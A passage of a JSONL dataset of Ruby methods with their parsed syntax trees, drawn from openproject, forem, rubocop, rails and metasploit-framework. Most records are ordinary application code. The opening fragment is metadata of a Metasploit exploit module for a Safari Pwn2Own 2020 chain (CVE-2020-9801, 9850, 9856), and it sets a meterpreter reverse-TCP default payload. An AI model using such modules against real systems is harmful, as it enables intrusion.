restrictions.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Yonghwi Jin <jinmoteam[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Jungwon Lim <setuid0[at]protonmail.com>\"]},{\"type\":\"str\",\"children\":[\"Insu Yun <insu[at]gatech.edu>\"]},{\"type\":\"str\",\"children\":[\"Taesoo Kim <taesoo[at]gatech.edu>\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-9801\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-9850\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-9856\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/sslab-gatech/pwn2own2020\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"osx/x64/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X x64 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Python payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Command payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-03-18\"]}]}]}]}]}]}","id":"af04ea4e-46e0-468f-8c59-2b12fe607c02"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/repositories_controller.rb","start_line":337,"raw_source":"def graph_commits_per_month(repository)\n    @date_to = Date.today\n    @date_from = @date_to << 11\n    @date_from = Date.civil(@date_from.year, @date_from.month, 1)\n    commits_by_day = Changeset.where(\n      [\"repository_id = ? AND commit_date BETWEEN ? AND ?\", repository.id, @date_from, @date_to]\n    ).group(:commit_date).size\n    commits_by_month = [0] * 12\n    commits_by_day.each do |c|\n      commits_by_month[(@date_to.month - c.first.to_date.month) % 12] += c.last\n    end\n\n    changes_by_day = Change.includes(:changeset)\n                     .where([\"#{Changeset.table_name}.repository_id = ? \" \\\n                             \"AND #{Changeset.table_name}.commit_date BETWEEN ? AND ?\",\n                             repository.id, @date_from, @date_to])\n                     .references(:changesets)\n                     .group(:commit_date)\n                     .size\n    changes_by_month = [0] * 12\n    changes_by_day.each do |c|\n      changes_by_month[(@date_to.month - c.first.to_date.month) % 12] += c.last\n    end\n\n    fields = []\n    12.times do |m|\n      fields << month_name(((Date.today.month - 1 - m) % 12) + 1)\n    end\n\n    graph = SVG::Graph::Bar.new(\n      height: 300,\n      width: 800,\n      fields: fields.reverse,\n      stack: :side,\n      scale_integers: true,\n      step_x_labels: 2,\n      show_data_values: false,\n      graph_title: I18n.t(:label_commits_per_month),\n      show_graph_title: true\n    )\n\n    graph.add_data(\n      data: commits_by_month[0..11].reverse,\n      title: I18n.t(:label_revision_plural)\n    )\n\n    graph.add_data(\n      data: changes_by_month[0..11].reverse,\n      title: I18n.t(:label_change_plural)\n    )\n\n    graph.burn\n  end","complexity_score":93.13,"ast_json":"{\"type\":\"def\",\"children\":[\"graph_commits_per_month\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@date_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@date_from\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date_to\"]},\"<<\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@date_from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date_from\"]},\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date_from\"]},\"month\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commits_by_day\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Changeset\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"repository_id = ? AND commit_date BETWEEN ? AND ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"id\"]},{\"type\":\"ivar\",\"children\":[\"@date_from\"]},{\"type\":\"ivar\",\"children\":[\"@date_to\"]}]}]},\"group\",{\"type\":\"sym\",\"children\":[\"commit_date\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"commits_by_month\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"*\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits_by_day\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits_by_month\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date_to\"]},\"month\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"first\"]},\"to_date\"]},\"month\"]}]}]},\"%\",{\"type\":\"int\",\"children\":[12]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"last\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changes_by_day\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Change\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"changeset\"]}]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Changeset\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".repository_id = ? \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Changeset\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".commit_date BETWEEN ? AND ?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"id\"]},{\"type\":\"ivar\",\"children\":[\"@date_from\"]},{\"type\":\"ivar\",\"children\":[\"@date_to\"]}]}]},\"references\",{\"type\":\"sym\",\"children\":[\"changesets\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"commit_date\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"changes_by_month\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"*\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes_by_day\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes_by_month\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date_to\"]},\"month\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"first\"]},\"to_date\"]},\"month\"]}]}]},\"%\",{\"type\":\"int\",\"children\":[12]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"last\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[12]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"month_name\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]},\"month\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},\"%\",{\"type\":\"int\",\"children\":[12]}]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"graph\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SVG\"]},\"Graph\"]},\"Bar\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"reverse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stack\"]},{\"type\":\"sym\",\"children\":[\"side\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale_integers\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"step_x_labels\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_data_values\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"graph_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_commits_per_month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_graph_title\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"graph\"]},\"add_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits_by_month\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[11]}]}]},\"reverse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_revision_plural\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"graph\"]},\"add_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes_by_month\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[11]}]}]},\"reverse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_change_plural\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"graph\"]},\"burn\"]}]}]}","id":"8bcb6ea0-7cbb-4f32-b2ed-ff537a44aca9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":161,"raw_source":"def build_pages(entries, dates)\n      vertical_pages_needed = (entries.size / @rows_per_page.to_f).ceil\n      horizontal_pages_needed = [((dates.size - @nr_columns_first_page) / @nr_columns.to_f).ceil, 0].max + 1\n      build_vertical_pages(entries, dates, vertical_pages_needed, horizontal_pages_needed)\n    end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_pages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]},{\"type\":\"arg\",\"children\":[\"dates\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vertical_pages_needed\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"size\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rows_per_page\"]},\"to_f\"]}]}]},\"ceil\"]}]},{\"type\":\"lvasgn\",\"children\":[\"horizontal_pages_needed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"size\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@nr_columns_first_page\"]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nr_columns\"]},\"to_f\"]}]}]},\"ceil\"]},{\"type\":\"int\",\"children\":[0]}]},\"max\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"build_vertical_pages\",{\"type\":\"lvar\",\"children\":[\"entries\"]},{\"type\":\"lvar\",\"children\":[\"dates\"]},{\"type\":\"lvar\",\"children\":[\"vertical_pages_needed\"]},{\"type\":\"lvar\",\"children\":[\"horizontal_pages_needed\"]}]}]}]}","id":"2ff0b825-8cc0-4275-8e4f-f5a845371566"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/admin_menu.rb","start_line":117,"raw_source":"def self.nested_menu_items_from_request(request)\n    scope, nav_item = request.path.split(\"/\").last(2)\n    nested_menu_items(scope, nav_item)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"nested_menu_items_from_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\"]},{\"type\":\"lvasgn\",\"children\":[\"nav_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"nested_menu_items\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"nav_item\"]}]}]}]}","id":"353645bd-bef2-4931-a046-c5f6aa77431b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/time_entry_row.rb","start_line":72,"raw_source":"def hours\n        if time_entry.ongoing?\n          concat(render(My::TimeTracking::StopTimerComponent.new(time_entry: time_entry)))\n        end\n\n        DurationConverter.output(time_entry.hours_for_calculation, format: :hours_and_minutes)\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hours\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entry\"]},\"ongoing?\"]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"My\"]},\"TimeTracking\"]},\"StopTimerComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_entry\"]},{\"type\":\"send\",\"children\":[null,\"time_entry\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DurationConverter\"]},\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entry\"]},\"hours_for_calculation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"hours_and_minutes\"]}]}]}]}]}]}","id":"0d88a006-f851-4a29-abe3-8f2690139151"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/sole_nested_conditional.rb","start_line":150,"raw_source":"def autocorrect_outer_condition_modify_form(corrector, node, if_branch)\n          correct_node(corrector, if_branch)\n\n          corrector.insert_before(if_branch.condition, \"#{chainable_condition(node)} && \")\n\n          range = range_between(node.loc.keyword.begin_pos, node.condition.source_range.end_pos)\n          corrector.remove(range_with_surrounding_space(range, newlines: false))\n        end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_outer_condition_modify_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"if_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_node\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"if_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_branch\"]},\"condition\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chainable_condition\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"str\",\"children\":[\" && \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]},\"source_range\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"newlines\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"4a0cd598-c5cd-4186-ae36-f74eb0c4b41a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf.rb","start_line":188,"raw_source":"def trailer(root_obj)\n    ret = \"trailer\" << nobfu(\"<</Size %d/Root \" % (@xref.length + 1)) << io_ref(root_obj) << \">>\" << eol\n    ret\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trailer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root_obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"trailer\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<</Size %d/Root \"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@xref\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"lvar\",\"children\":[\"root_obj\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\">>\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"75286891-242b-4210-87e4-ea27bd937dcc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/url_helper.rb","start_line":642,"raw_source":"def sms_to(phone_number, name = nil, html_options = {}, &block)\n        html_options, name = name, nil if name.is_a?(Hash)\n        html_options = (html_options || {}).stringify_keys\n\n        country_code = html_options.delete(\"country_code\").presence\n        country_code = country_code ? \"+#{ERB::Util.url_encode(country_code)}\" : \"\"\n\n        body = html_options.delete(\"body\").presence\n        body = body ? \"?&body=#{ERB::Util.url_encode(body)}\" : \"\"\n\n        encoded_phone_number = ERB::Util.url_encode(phone_number)\n        html_options[\"href\"] = \"sms:#{country_code}#{encoded_phone_number};#{body}\"\n\n        content_tag(\"a\", name || phone_number, html_options, &block)\n      end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sms_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phone_number\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\"]},{\"type\":\"lvasgn\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"stringify_keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"country_code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"delete\",{\"type\":\"str\",\"children\":[\"country_code\"]}]},\"presence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"country_code\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"country_code\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"lvar\",\"children\":[\"country_code\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"delete\",{\"type\":\"str\",\"children\":[\"body\"]}]},\"presence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?&body=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_phone_number\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"lvar\",\"children\":[\"phone_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"href\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sms:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"country_code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_phone_number\"]}]},{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]